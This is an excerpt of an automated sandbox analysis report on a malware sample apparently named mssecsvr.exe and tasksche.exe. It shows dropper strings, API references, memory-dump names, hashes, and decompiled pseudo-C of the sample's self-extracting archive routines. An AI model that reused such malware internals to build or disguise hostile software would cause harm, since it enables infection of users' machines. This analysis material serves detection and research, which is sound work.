MoveFileExA.KERNEL32 ref: 00407E2C

Strings

C:\%s\%s, xrefs: 00407DFB
CreateProcessA, xrefs: 00407D07
CloseHandle, xrefs: 00407D29
kernel32.dll, xrefs: 00407CEA
WINDOWS, xrefs: 00407DF2, 00407E0D
tasksche.exe, xrefs: 00407DEA
C:\%s\qeriuwjhrf, xrefs: 00407E12
CreateFileA, xrefs: 00407D0F
/i, xrefs: 00407E8D
D, xrefs: 00407ED3
WriteFile, xrefs: 00407D1C

Memory Dump Source

Source File: 00000008.00000002.772652388.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.772634448.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.772686627.000000000040A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.772696753.000000000040B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.772767627.000000000040F000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.772928576.000000000042E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.772957172.000000000042F000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.772985177.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.773041569.0000000000710000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.773430289.0000000000771000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_mssecsvr.jbxd

Yara matches

Similarity

API ID: AddressProcResource$sprintf$FileFindHandleLoadLockModuleMoveSizeof
String ID: /i$C:\%s\%s$C:\%s\qeriuwjhrf$CloseHandle$CreateFileA$CreateProcessA$D$WINDOWS$WriteFile$kernel32.dll$tasksche.exe
API String ID: 4072214828-1507730452
Opcode ID: fb819ea0bbfac7cba45177718834bfaea6ecb5a57a4692884010a03d6946efb9
Instruction ID: 13a48b3e7e70fc1f7524b3ea2ca00aec236584d0bbebcf852995d03268f4a9c8
Opcode Fuzzy Hash: fb819ea0bbfac7cba45177718834bfaea6ecb5a57a4692884010a03d6946efb9
Instruction Fuzzy Hash: B15197715043496FE7109F74DC84AAB7B98EB88354F14493EF651A32E0DA7898088BAA

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: tasksche.exePID: 3200, Parent PID: 5412COMMON

Execution Graph

Execution Coverage:	10.5%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	3.2%
Total number of Nodes:	2000
Total number of Limit Nodes:	35

Executed Functions

Function 0040FEF0 Relevance: 45.7, APIs: 21, Strings: 5, Instructions: 189
filecomwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 83%

			E0040FEF0(void* __edx, void* __eflags) {
				void* _v8;
				char _v12;
				struct _SYSTEMTIME _v28;
				intOrPtr _v40;
				char _v72;
				intOrPtr _v84;
				char _v116;
				short _v216;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t42;
				struct HBITMAP__* _t43;
				void* _t57;
				long _t59;
				intOrPtr _t60;
				intOrPtr _t61;
				void* _t70;
				void* _t76;
				void* _t90;
				void* _t91;
				WCHAR* _t92;
				struct HINSTANCE__* _t94;
				void* _t97;
				void* _t98;
				void* _t103;
				void* _t104;
				void* _t105;
				intOrPtr _t115;

				_t90 = __edx;
				E00410E1C(1);
				__imp__OleInitialize(0, _t91, _t98, _t76); // executed
				E00411F56(0x44f5b0);
				E0041A820(_t91, 0x43a820, 0, 0x7002);
				_t105 = _t104 + 0xc;
				_t92 = GetCommandLineW();
				_t108 = _t92;
				if(_t92 != 0) {
					E0040D64B(_t108, _t92);
					if( *0x441879 == 0) {
						E0040D5F7(__eflags, _t92); // executed
					} else {
						_t70 = OpenFileMappingW(0xf001f, 0, L"winrarsfxmappingfile.tmp");
						_v8 = _t70;
						if(_t70 != 0) {
							_t97 = MapViewOfFile(_t70, 0xf001f, 0, 0, 0x7002);
							_t111 = _t97;
							if(_t97 != 0) {
								E0041C290(0, _t97, 0x7002, 0x43a820, _t97, 0x7002);
								_t105 = _t105 + 0xc;
								 *_t97 = 1;
								E0040D5F7(_t111, 0x43a822);
							}
							UnmapViewOfFile(_t97);
						}
						CloseHandle(_v8);
					}
				}
				GetModuleFileNameW(0, 0x439820, 0x800);
				SetEnvironmentVariableW(L"sfxname", 0x439820); // executed
				GetLocalTime( &_v28);
				_push(_v28.wMilliseconds & 0x0000ffff);
				_push(_v28.wSecond & 0x0000ffff);
				_push(_v28.wMinute & 0x0000ffff);
				_push(_v28.wHour & 0x0000ffff);
				_push(_v28.wDay & 0x0000ffff);
				_push(_v28.wMonth & 0x0000ffff);
				E0040BC16( &_v216, 0x32, L"%4d-%02d-%02d-%02d-%02d-%02d-%03d", _v28.wYear & 0x0000ffff);
				SetEnvironmentVariableW(L"sfxstime",  &_v216);
				_t94 = GetModuleHandleW(0);
				 *0x4335a4 = _t94;
				 *0x4335a8 = _t94; // executed
				_t42 = LoadIconW(_t94, 0x64); // executed
				 *0x43981c = _t42; // executed
				_t43 = LoadBitmapW( *0x4335a8, 0x65); // executed
				 *0x439818 = _t43; // executed
				E0041A060( &_v12); // executed
				E0040C3A8(0x4335bc, _t90, _t103, 0x439820);
				E00419137( &_v116);
				E00419137( &_v72);
				_v84 = E00419DD0(0x64);
				_v40 = E00419DD0(0x64);
				 *0x438814 =  &_v116;
				 *0x438810 =  &_v72; // executed
				DialogBoxParamW(_t94, L"STARTDLG", 0, E0040F58D, 0); // executed
				 *0x438810 = 0;
				 *0x438814 = 0;
				E0041915C( &_v72);
				E0041915C( &_v116);
				E0041A0BA();
				if( *0x441870 != 0) {
					E0040D896(_t94);
				}
				E0040D0FE(0x44ce20);
				_t113 =  *0x441858;
				if( *0x441858 > 0) {
					_push( *0x44184c);
					E0041A506(0, _t94, 0x439820, _t113);
				}
				DeleteObject( *0x43981c);
				_t57 =  *0x439818;
				if(_t57 != 0) {
					DeleteObject(_t57);
				}
				_t115 =  *0x4335ac; // 0x3
				if(_t115 == 0 &&  *0x44183c != 0) {
					E004062BA(0x4335ac, 0xff);
				}
				_t58 =  *0x441868;
				 *0x44183c = 1;
				if( *0x441868 != 0) {
					E0040D857(_t58);
					CloseHandle( *0x441868);
				}
				_t59 =  *0x441864;
				if(_t59 != 0) {
					Sleep(_t59);
				}
				__imp__OleUninitialize();
				_t60 =  *0x441860;
				if(_t60 > 0) {
					return _t60;
				} else {
					_t61 =  *0x4335ac; // 0x3
					return _t61;
				}
			}

0x0040fef0
0x0040fefe
0x0040ff06
0x0040ff11
0x0040ff22
0x0040ff27
0x0040ff30
0x0040ff32
0x0040ff34
0x0040ff37
0x0040ff42
0x0040ff9d
0x0040ff44
0x0040ff50
0x0040ff56
0x0040ff5b
0x0040ff68
0x0040ff6a
0x0040ff6c
0x0040ff75
0x0040ff7a
0x0040ff82
0x0040ff85
0x0040ff85
0x0040ff8b
0x0040ff8b
0x0040ff94
0x0040ff94
0x0040ff42
0x0040ffae
0x0040ffc0
0x0040ffc6
0x0040ffd0
0x0040ffd5
0x0040ffda
0x0040ffdf
0x0040ffe4
0x0040ffe9
0x0040fffd
0x00410011
0x0041001a
0x0041001f
0x00410025
0x0041002b
0x00410039
0x0041003e
0x00410047
0x0041004c
0x00410057
0x0041005f
0x00410067
0x00410075
0x00410083
0x0041008a
0x00410098
0x0041009d
0x004100a6
0x004100ac
0x004100b2
0x004100ba
0x004100c2
0x004100cd
0x004100cf
0x004100cf
0x004100d9
0x004100de
0x004100e4
0x004100e6
0x004100ec
0x004100f1
0x004100fe
0x00410100
0x00410107
0x0041010a
0x0041010a
0x0041010c
0x00410112
0x00410126
0x00410126
0x0041012b
0x00410130
0x00410139
0x0041013c
0x00410147
0x00410147
0x0041014d
0x00410154
0x00410157
0x00410157
0x0041015d
0x00410163
0x0041016d
0x00410175
0x0041016f
0x0041016f
0x00000000
0x0041016f

APIs

Part of subcall function 00410E1C: GetModuleHandleW.KERNEL32(kernel32,0040FF03,00000001), ref: 00410E21
Part of subcall function 00410E1C: GetProcAddress.KERNEL32(00000000,SetDllDirectoryW), ref: 00410E31

OleInitialize.OLE32(00000000), ref: 0040FF06

Part of subcall function 00411F56: GetCPInfo.KERNEL32(00000000,?,?,?,?,0040FF16), ref: 00411F67
Part of subcall function 00411F56: IsDBCSLeadByte.KERNEL32(00000000), ref: 00411F7B

_memset.LIBCMT ref: 0040FF22
GetCommandLineW.KERNEL32 ref: 0040FF2A
OpenFileMappingW.KERNEL32(000F001F,00000000,winrarsfxmappingfile.tmp), ref: 0040FF50
MapViewOfFile.KERNEL32(00000000,000F001F,00000000,00000000,00007002), ref: 0040FF62
UnmapViewOfFile.KERNEL32(00000000), ref: 0040FF8B

Part of subcall function 0040D5F7: SetEnvironmentVariableW.KERNEL32(sfxcmd,?), ref: 0040D610
Part of subcall function 0040D5F7: SetEnvironmentVariableW.KERNELBASE(sfxpar,00000002,00000000,00000000,?,?,00000400), ref: 0040D643

CloseHandle.KERNEL32(?), ref: 0040FF94
GetModuleFileNameW.KERNEL32(00000000,00439820,00000800), ref: 0040FFAE
SetEnvironmentVariableW.KERNELBASE(sfxname,00439820), ref: 0040FFC0
GetLocalTime.KERNEL32(?), ref: 0040FFC6
_swprintf.LIBCMT ref: 0040FFFD
SetEnvironmentVariableW.KERNEL32(sfxstime,?), ref: 00410011
GetModuleHandleW.KERNEL32(00000000), ref: 00410014
LoadIconW.USER32(00000000,00000064), ref: 0041002B
LoadBitmapW.USER32(00000065), ref: 0041003E
DialogBoxParamW.USER32 ref: 0041009D
DeleteObject.GDI32 ref: 004100FE
DeleteObject.GDI32(?), ref: 0041010A

Part of subcall function 0040D64B: CharUpperW.USER32(?,?,?,?,00000400), ref: 0040D6AC
Part of subcall function 0040D64B: CharUpperW.USER32(?,?,?,?,?,00000400), ref: 0040D6D3

CloseHandle.KERNEL32(000000FF), ref: 00410147
Sleep.KERNEL32(?), ref: 00410157
OleUninitialize.OLE32 ref: 0041015D

Strings

%4d-%02d-%02d-%02d-%02d-%02d-%03d, xrefs: 0040FFEF
sfxstime, xrefs: 0041000C
STARTDLG, xrefs: 0041008F
winrarsfxmappingfile.tmp, xrefs: 0040FF44
sfxname, xrefs: 0040FFBB

Memory Dump Source

Source File: 00000009.00000002.773160296.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.773127087.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773302345.000000000042A000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773324321.0000000000430000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773360057.0000000000435000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773375129.000000000044F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773387412.0000000000452000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: EnvironmentFileHandleVariable$Module$CharCloseDeleteLoadObjectUpperView$AddressBitmapByteCommandDialogIconInfoInitializeLeadLineLocalMappingNameOpenParamProcSleepTimeUninitializeUnmap_memset_swprintf
String ID: %4d-%02d-%02d-%02d-%02d-%02d-%03d$STARTDLG$sfxname$sfxstime$winrarsfxmappingfile.tmp
API String ID: 2890863147-3710569615
Opcode ID: 80a7e11a645b2e2d2aca1507ec210b481b2238b003543a9d3cc58b98ec170c2c
Instruction ID: f6d524faf13461bd4ea8cb5a97d50562f0dad5b6822c88fd20d602f5543b7383
Opcode Fuzzy Hash: 80a7e11a645b2e2d2aca1507ec210b481b2238b003543a9d3cc58b98ec170c2c
Instruction Fuzzy Hash: 5061D971A00205BFC720BFA1DC499AE7BB8EB05314F50443BF901A22A1DB7D4D95DB6E

Uniqueness

Uniqueness Score: -1.00%

Function 00402F2C Relevance: 9.3, APIs: 3, Strings: 2, Instructions: 544
COMMONCrypto

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 94%

			E00402F2C(intOrPtr* __ecx, void* __eflags) {
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t223;
				intOrPtr _t225;
				signed int _t229;
				void* _t231;
				void* _t232;
				unsigned int _t235;
				void* _t240;
				intOrPtr _t243;
				signed char _t246;
				char _t247;
				void* _t258;
				void* _t261;
				signed int _t267;
				signed int _t268;
				intOrPtr _t269;
				signed int* _t270;
				signed char _t271;
				void* _t274;
				signed int _t295;
				signed int _t306;
				signed int _t310;
				signed int _t327;
				signed char _t329;
				signed int _t335;
				void* _t343;
				void* _t346;
				signed int _t355;
				intOrPtr* _t360;
				signed int _t374;
				signed int _t382;
				signed int _t400;
				signed int _t404;
				signed int* _t412;
				unsigned int _t413;
				char _t416;
				void* _t434;
				void* _t443;
				signed int _t460;
				void* _t461;
				signed int _t462;
				signed char _t464;
				void* _t468;
				void* _t470;
				void* _t473;
				void* _t474;
				intOrPtr _t481;
				void* _t482;
				void* _t484;
				void* _t485;
				signed int _t494;
				void* _t497;

				_t485 = _t484 - 0x50;
				E0041A4DC(E00429589, _t482);
				E0041AAF0(0x2070);
				_push(_t479);
				_t360 = __ecx;
				E0040B736(_t482 + 0x28, __ecx);
				_t466 = 0;
				 *((intOrPtr*)(_t482 - 4)) = 0;
				if( *((char*)(__ecx + 0xb05c)) == 0) {
					L7:
					 *((char*)(_t482 + 0x53)) = 0;
					L12:
					_t223 = E0040B4C8(_t482 + 0x28, _t466, 7); // executed
					__eflags = _t223 - 7;
					if(__eflags < 0) {
						L5:
						E00401C37(_t360, _t460, _t496);
						L6:
						_t497 =  *(_t482 + 0x28) - _t466;
						L88:
						if(_t497 != 0) {
							_push( *(_t482 + 0x28));
							E0041A506(_t360, _t466, _t479, _t497);
						}
						_t225 = 0;
						L91:
						 *[fs:0x0] =  *((intOrPtr*)(_t482 - 0xc));
						return _t225;
					}
					 *(_t360 + 0x655c) = 0;
					_t479 = _t360 + 0x654c;
					 *_t479 = E0040B5AF(_t482 + 0x28);
					_t466 = E0040B670(_t482 + 0x28, 4);
					_t229 = E0040B60D(_t460);
					__eflags = _t229 | _t460;
					if((_t229 | _t460) == 0) {
						L86:
						E00401C80(_t360);
						L87:
						__eflags =  *(_t482 + 0x28);
						goto L88;
					}
					__eflags = _t466;
					if(_t466 == 0) {
						goto L86;
					}
					_t231 = _t229 + _t466;
					_t30 = _t231 - 3; // -3
					_t374 = _t30;
					_t31 = _t231 + 4; // 0x4
					_t466 = _t31;
					__eflags = _t374;
					if(_t374 < 0) {
						goto L86;
					}
					__eflags = _t466 - 7;
					if(_t466 < 7) {
						goto L86;
					}
					_t232 = E0040B4C8(_t482 + 0x28, _t466, _t374);
					__eflags =  *((intOrPtr*)(_t482 + 0x3c)) - _t466;
					if(__eflags >= 0) {
						 *(_t482 + 0x4c) = E0040B716(_t232, _t482 + 0x28);
						 *((intOrPtr*)(_t360 + 0x6550)) = E0040B60D(_t460);
						_t235 = E0040B60D(_t460);
						 *(_t360 + 0x6554) = _t235;
						 *(_t360 + 0x655c) = _t235 >> 0x00000002 & 0x00000001;
						 *((intOrPtr*)(_t360 + 0x6544)) =  *((intOrPtr*)(_t360 + 0x6550));
						__eflags =  *_t479 -  *(_t482 + 0x4c);
						 *(_t360 + 0x6558) = _t466;
						 *((char*)(_t482 + 0x4b)) =  *_t479 !=  *(_t482 + 0x4c);
						__eflags =  *((char*)(_t482 + 0x4b));
						if( *((char*)(_t482 + 0x4b)) == 0) {
							L22:
							_t466 = 0;
							__eflags =  *(_t360 + 0x6554) & 0x00000001;
							 *(_t482 + 0x18) = 0;
							 *(_t482 + 0x1c) = 0;
							if(( *(_t360 + 0x6554) & 0x00000001) == 0) {
								L27:
								__eflags =  *(_t360 + 0x6554) & 0x00000002;
								 *(_t482 + 0x20) = _t466;
								 *(_t482 + 0x24) = _t466;
								if(( *(_t360 + 0x6554) & 0x00000002) != 0) {
									 *(_t482 + 0x20) = E0040B60D(_t460);
									 *(_t482 + 0x24) = _t460;
								}
								_t240 = E004010D4(_t360,  *(_t360 + 0x6558));
								asm("adc ecx, [ebx+0xb044]");
								asm("adc ecx, [ebp+0x24]");
								 *((intOrPtr*)(_t360 + 0xb048)) = _t240 +  *((intOrPtr*)(_t360 + 0xb040)) +  *(_t482 + 0x20);
								_t243 =  *((intOrPtr*)(_t360 + 0x6550));
								 *((intOrPtr*)(_t360 + 0xb04c)) = 0;
								__eflags = _t243 - 1;
								if(__eflags == 0) {
									_t468 = _t360 + 0x6570;
									E00409B19(_t468);
									_t382 = 5;
									memcpy(_t468, _t479, _t382 << 2);
									_t466 = _t479 + _t382 + _t382;
									_t246 = E0040B60D(_t460);
									 *(_t360 + 0xb055) = _t246 & 0x00000001;
									 *(_t360 + 0xb054) = _t246 >> 0x00000002 & 0x00000001;
									 *(_t360 + 0xb057) = _t246 >> 0x00000004 & 0x00000001;
									 *(_t360 + 0xb05b) = _t246 >> 0x00000003 & 0x00000001;
									 *((char*)(_t360 + 0xb058)) = 0;
									 *((char*)(_t360 + 0xb05a)) = 1;
									__eflags = _t246 & 0x00000002;
									if((_t246 & 0x00000002) == 0) {
										_t198 = _t360 + 0xb078;
										 *_t198 =  *(_t360 + 0xb078) & 0x00000000;
										__eflags =  *_t198;
									} else {
										 *(_t360 + 0xb078) = E0040B60D(_t460);
									}
									__eflags =  *(_t360 + 0xb055);
									if( *(_t360 + 0xb055) == 0) {
										L77:
										_t247 = 0;
										__eflags = 0;
										goto L78;
									} else {
										__eflags =  *(_t360 + 0xb078);
										if( *(_t360 + 0xb078) != 0) {
											goto L77;
										}
										_t247 = 1;
										L78:
										 *((char*)(_t360 + 0xb059)) = _t247;
										__eflags =  *(_t482 + 0x18) |  *(_t482 + 0x1c);
										if(( *(_t482 + 0x18) |  *(_t482 + 0x1c)) != 0) {
											_push(_t360 + 0x6570);
											_push( *(_t482 + 0x18));
											_push(_t482 + 0x28);
											E0040272E(_t360, _t460);
										}
										L80:
										__eflags =  *((intOrPtr*)(_t360 + 0xb04c)) -  *((intOrPtr*)(_t360 + 0xb044));
										if(__eflags > 0) {
											L83:
											__eflags =  *(_t482 + 0x28);
											_t481 =  *((intOrPtr*)(_t482 + 0x3c));
											if(__eflags != 0) {
												_push( *(_t482 + 0x28));
												E0041A506(_t360, _t466, _t481, __eflags);
											}
											_t225 = _t481;
											goto L91;
										}
										if(__eflags < 0) {
											goto L86;
										}
										__eflags =  *((intOrPtr*)(_t360 + 0xb048)) -  *((intOrPtr*)(_t360 + 0xb040));
										if( *((intOrPtr*)(_t360 + 0xb048)) <=  *((intOrPtr*)(_t360 + 0xb040))) {
											goto L86;
										}
										goto L83;
									}
								}
								if(__eflags <= 0) {
									goto L80;
								}
								__eflags = _t243 - 3;
								if(_t243 <= 3) {
									__eflags = _t243 - 2;
									_t258 = _t360 + 0x65e8;
									if(_t243 != 2) {
										_t258 = _t360 + 0x8928;
									}
									_t470 = _t258;
									 *(_t482 + 0x4c) = _t258;
									E00409B44(_t470, 0);
									_t400 = 5;
									_t261 = memcpy(_t470, _t479, _t400 << 2);
									__eflags =  *((intOrPtr*)(_t360 + 0x6550)) - 2;
									_t479 =  *(_t482 + 0x4c);
									 *(_t479 + 0x1048) = _t261;
									 *((char*)(_t482 + 0x53)) =  *((intOrPtr*)(_t360 + 0x6550)) == 2;
									 *((char*)(_t479 + 0x10e9)) = 1;
									 *(_t479 + 0x104c) =  *(_t482 + 0x24);
									 *(_t479 + 0x1084) = E0040B60D(_t460);
									 *(_t479 + 0x1050) = E0040B60D(_t460);
									_t267 =  *(_t479 + 0x1084) >> 0x00000003 & 0x00000001;
									__eflags = _t267;
									 *(_t479 + 0x1054) = _t460;
									 *(_t479 + 0x108a) = _t267;
									if(_t267 != 0) {
										 *(_t479 + 0x1050) = 0x7fffffff;
										 *(_t479 + 0x1054) = 0x7fffffff;
									}
									_t268 =  *(_t479 + 0x104c);
									_t404 =  *(_t479 + 0x1054);
									__eflags = _t268 - _t404;
									_t461 =  *(_t479 + 0x1048);
									_t473 =  *(_t479 + 0x1050);
									if(__eflags < 0) {
										L48:
										_t461 = _t473;
										_t268 = _t404;
										goto L49;
									} else {
										if(__eflags > 0) {
											L49:
											 *(_t479 + 0x1058) = _t461;
											 *(_t479 + 0x105c) = _t268;
											_t269 = E0040B60D(_t461);
											__eflags =  *(_t479 + 0x1084) & 0x00000002;
											 *((intOrPtr*)(_t479 + 0x1c)) = _t269;
											if(( *(_t479 + 0x1084) & 0x00000002) != 0) {
												E00411357(_t479 + 0x1030, _t461, E0040B5AF(_t482 + 0x28), 0);
											}
											_t270 = _t479 + 0x1060;
											 *_t270 =  *_t270 & 0x00000000;
											__eflags =  *(_t479 + 0x1084) & 0x00000004;
											if(( *(_t479 + 0x1084) & 0x00000004) != 0) {
												 *_t270 = 2;
												 *((intOrPtr*)(_t479 + 0x1064)) = E0040B5AF(_t482 + 0x28);
											}
											 *(_t479 + 0x10f0) =  *(_t479 + 0x10f0) & 0x00000000;
											_t271 = E0040B60D(_t461);
											 *(_t482 + 0x4c) = _t271;
											 *(_t479 + 0x1a) = _t271 >> 0x00000007 & 0x00000007;
											 *(_t479 + 0x19) = _t271 & 0x0000003f;
											 *((char*)(_t479 + 0x18)) = E0040B60D(_t461);
											_t274 = E0040B60D(_t461);
											_t462 =  *((intOrPtr*)(_t479 + 0x18));
											_t474 = _t274;
											_t412 = _t479 + 0x10ec;
											 *(_t479 + 0x10e8) =  *(_t360 + 0x6554) >> 0x00000006 & 0x00000001;
											 *_t412 = 2;
											__eflags = _t462 - 1;
											if(_t462 != 1) {
												__eflags = _t462;
												if(_t462 == 0) {
													 *_t412 =  *_t412 & 0x00000000;
													__eflags =  *_t412;
												}
											} else {
												 *_t412 = 1;
											}
											_t413 =  *(_t479 + 8);
											 *(_t479 + 0x1088) = _t413 >> 0x00000003 & 0x00000001;
											__eflags =  *((char*)(_t482 + 0x53));
											 *(_t479 + 0x1089) = _t413 >> 0x00000004 & 0x00000001;
											 *(_t479 + 0x10ea) = _t413 >> 0x00000005 & 0x00000001;
											if( *((char*)(_t482 + 0x53)) == 0) {
												L60:
												_t416 = 0;
												__eflags = 0;
												goto L61;
											} else {
												__eflags =  *(_t482 + 0x4c) & 0x00000040;
												if(( *(_t482 + 0x4c) & 0x00000040) == 0) {
													goto L60;
												}
												_t416 = 1;
												L61:
												 *((char*)(_t479 + 0x10e0)) = _t416;
												_t464 =  *(_t479 + 0x1084) & 0x00000001;
												asm("sbb ecx, ecx");
												asm("sbb eax, eax");
												 *(_t479 + 0x10e4) =  !( ~(_t464 & 0x000000ff)) & 0x00020000 << ( *(_t482 + 0x4c) >> 0x0000000a & 0x0000000f);
												 *(_t479 + 0x10e1) = _t464;
												 *(_t479 + 0x108c) =  ~( *(_t479 + 0x108b) & 0x000000ff) & 0x00000005;
												__eflags = _t474 - 0x1fff;
												if(_t474 >= 0x1fff) {
													_t474 = 0x1fff;
												}
												E0040B696(_t482 + 0x28, _t482 - 0x207c, _t474);
												 *((char*)(_t482 + _t474 - 0x207c)) = 0;
												_t466 = _t479 + 0x20;
												E00411CD1(_t482 + 0x28, _t482 - 0x207c, _t479 + 0x20, 0x800);
												__eflags =  *(_t482 + 0x18) |  *(_t482 + 0x1c);
												if(( *(_t482 + 0x18) |  *(_t482 + 0x1c)) != 0) {
													_push(_t479);
													_push( *(_t482 + 0x18));
													_push(_t482 + 0x28);
													E0040272E(_t360, _t464);
												}
												__eflags =  *((char*)(_t482 + 0x53));
												if( *((char*)(_t482 + 0x53)) == 0) {
													_t295 = E0041AA21(_t466, "CMT");
													__eflags = _t295;
													if(_t295 == 0) {
														 *((char*)(_t360 + 0xb056)) = 1;
													}
												} else {
													E00401A7E(_t360, _t479);
												}
												__eflags =  *((char*)(_t482 + 0x4b));
												if( *((char*)(_t482 + 0x4b)) != 0) {
													E0040639F(0x1a, _t360 + 0x1e, _t466);
												}
												goto L80;
											}
										}
										__eflags = _t461 - _t473;
										if(_t461 > _t473) {
											goto L49;
										}
										goto L48;
									}
								}
								__eflags = _t243 - 4;
								if(_t243 == 4) {
									_t434 = 5;
									memcpy(_t360 + 0x65b0, _t479, 0 << 2);
									_t466 = _t479 + _t434 + _t434;
									_t306 = E0040B60D(_t460);
									__eflags = _t306;
									if(_t306 <= 0) {
										 *(_t360 + 0x65c4) = E0040B60D(_t460) & 0x00000001;
										_t310 = E0040B562(_t482 + 0x28) & 0x000000ff;
										 *(_t360 + 0x65c8) = _t310;
										__eflags = _t310 - 0x18;
										if(_t310 > 0x18) {
											goto L36;
										}
										E0040B696(_t482 + 0x28, _t360 + 0x65cc, 0x10);
										__eflags =  *(_t360 + 0x65c4);
										if( *(_t360 + 0x65c4) != 0) {
											_t479 = _t360 + 0x65dc;
											E0040B696(_t482 + 0x28, _t360 + 0x65dc, 8);
											E0040B696(_t482 + 0x28, _t482 + 0x4c, 4);
											E004106AE(_t482 - 0x7c);
											E004109B0(_t482 - 0x7c, _t360 + 0x65dc, 8);
											E00410A29(_t482 + 0x28, _t460, __eflags, _t482 - 0x7c, _t482);
											_t327 = E0041AC04(_t482 + 0x4c, _t482, 4);
											asm("sbb al, al");
											_t329 =  ~_t327 + 1;
											__eflags = _t329;
											 *(_t360 + 0x65c4) = _t329;
										}
										 *((char*)(_t360 + 0xb05c)) = 1;
										goto L80;
									}
									L36:
									E00401CA3(_t360, _t360 + 0x1e);
									goto L87;
								}
								__eflags = _t243 - 5;
								if(_t243 == 5) {
									_t443 = _t243;
									memcpy(_t360 + 0x88e8, _t479, 0 << 2);
									_t466 = _t479 + _t443 + _t443;
									 *(_t360 + 0x8904) = E0040B60D(_t460) & 0x00000001;
									 *((char*)(_t360 + 0x8907)) = 0;
									 *((char*)(_t360 + 0x8905)) = 0;
									 *((char*)(_t360 + 0x8906)) = 0;
								}
								goto L80;
							}
							 *(_t482 + 0x18) = E0040B60D(_t460);
							_t335 =  *(_t360 + 0x6558);
							 *(_t482 + 0x1c) = _t460;
							__eflags = _t460;
							if(__eflags < 0) {
								goto L27;
							}
							if(__eflags > 0) {
								L26:
								E00401C80(_t360);
								goto L6;
							}
							__eflags =  *(_t482 + 0x18) - _t335;
							if(__eflags < 0) {
								goto L27;
							}
							goto L26;
						}
						E00401C80(_t360);
						 *((char*)(_t360 + 0xb064)) = 1;
						E004062BA(0x4335ac, 3);
						__eflags =  *((char*)(_t482 + 0x53));
						if( *((char*)(_t482 + 0x53)) == 0) {
							goto L22;
						} else {
							E0040639F(4, _t360 + 0x1e, _t360 + 0x1e);
							 *((char*)(_t360 + 0xb065)) = 1;
							goto L87;
						}
					} else {
						E00401C37(_t360, _t460, __eflags);
						goto L87;
					}
				}
				_t460 =  *(__ecx + 0xb044);
				_t343 =  *((intOrPtr*)(__ecx + 0xb060)) + 8;
				asm("adc ecx, edi");
				_t494 = _t460;
				if(_t494 < 0 || _t494 <= 0 &&  *((intOrPtr*)(__ecx + 0xb040)) <= _t343) {
					goto L7;
				} else {
					 *((char*)(_t482 + 0x53)) = 1;
					E00401BBB(_t360);
					_t346 =  *((intOrPtr*)( *_t360 + 8))(_t482 + 0x10, 0x10);
					_t496 = _t346 - 0x10;
					if(_t346 == 0x10) {
						_t479 = _t360 + 0x1024;
						E00405FE7(_t479, _t460, _t466, 5,  *((intOrPtr*)(_t360 + 0x6524)) + 0x4024, _t360 + 0x65cc, _t482 + 0x10,  *(_t360 + 0x65c8), _t466, _t482 + 0x20);
						__eflags =  *(_t360 + 0x65c4);
						if( *(_t360 + 0x65c4) == 0) {
							L11:
							 *(_t482 + 0x44) = _t479;
							goto L12;
						}
						_t355 = E0041AC04(_t482 + 0x20, _t360 + 0x65dc, 8);
						_t485 = _t485 + 0xc;
						__eflags = _t355;
						if(_t355 == 0) {
							goto L11;
						} else {
							E00406376(6, _t360 + 0x1e);
							 *((char*)(_t360 + 0xb065)) = 1;
							E004062BA(0x4335ac, 0xb);
							goto L6;
						}
					}
					goto L5;
				}
			}

0x00402f2d
0x00402f35
0x00402f3f
0x00402f45
0x00402f46
0x00402f4d
0x00402f52
0x00402f5b
0x00402f5e
0x00402faf
0x00402faf
0x0040302f
0x00403034
0x00403039
0x0040303c
0x00402fa0
0x00402fa2
0x00402fa7
0x00402fa7
0x00403680
0x00403680
0x00403682
0x00403685
0x0040368a
0x0040368b
0x0040368d
0x00403693
0x0040369e
0x0040369e
0x00403045
0x0040304c
0x0040305c
0x00403066
0x00403068
0x0040306f
0x00403071
0x00403675
0x00403677
0x0040367c
0x0040367c
0x00000000
0x0040367c
0x00403077
0x00403079
0x00000000
0x00000000
0x0040307f
0x00403081
0x00403081
0x00403084
0x00403084
0x00403087
0x00403089
0x00000000
0x00000000
0x0040308f
0x00403092
0x00000000
0x00000000
0x0040309c
0x004030a1
0x004030a4
0x004030bd
0x004030c8
0x004030ce
0x004030d3
0x004030de
0x004030ea
0x004030f3
0x004030f5
0x004030fb
0x004030ff
0x00403103
0x0040313d
0x0040313d
0x0040313f
0x00403146
0x00403149
0x0040314c
0x0040317b
0x0040317b
0x00403182
0x00403185
0x00403188
0x00403192
0x00403195
0x00403195
0x004031a0
0x004031ad
0x004031b6
0x004031b9
0x004031bf
0x004031c5
0x004031cb
0x004031ce
0x0040358d
0x00403595
0x0040359c
0x0040359d
0x0040359d
0x004035a2
0x004035ac
0x004035ba
0x004035c8
0x004035d6
0x004035dc
0x004035e3
0x004035ea
0x004035ec
0x004035fe
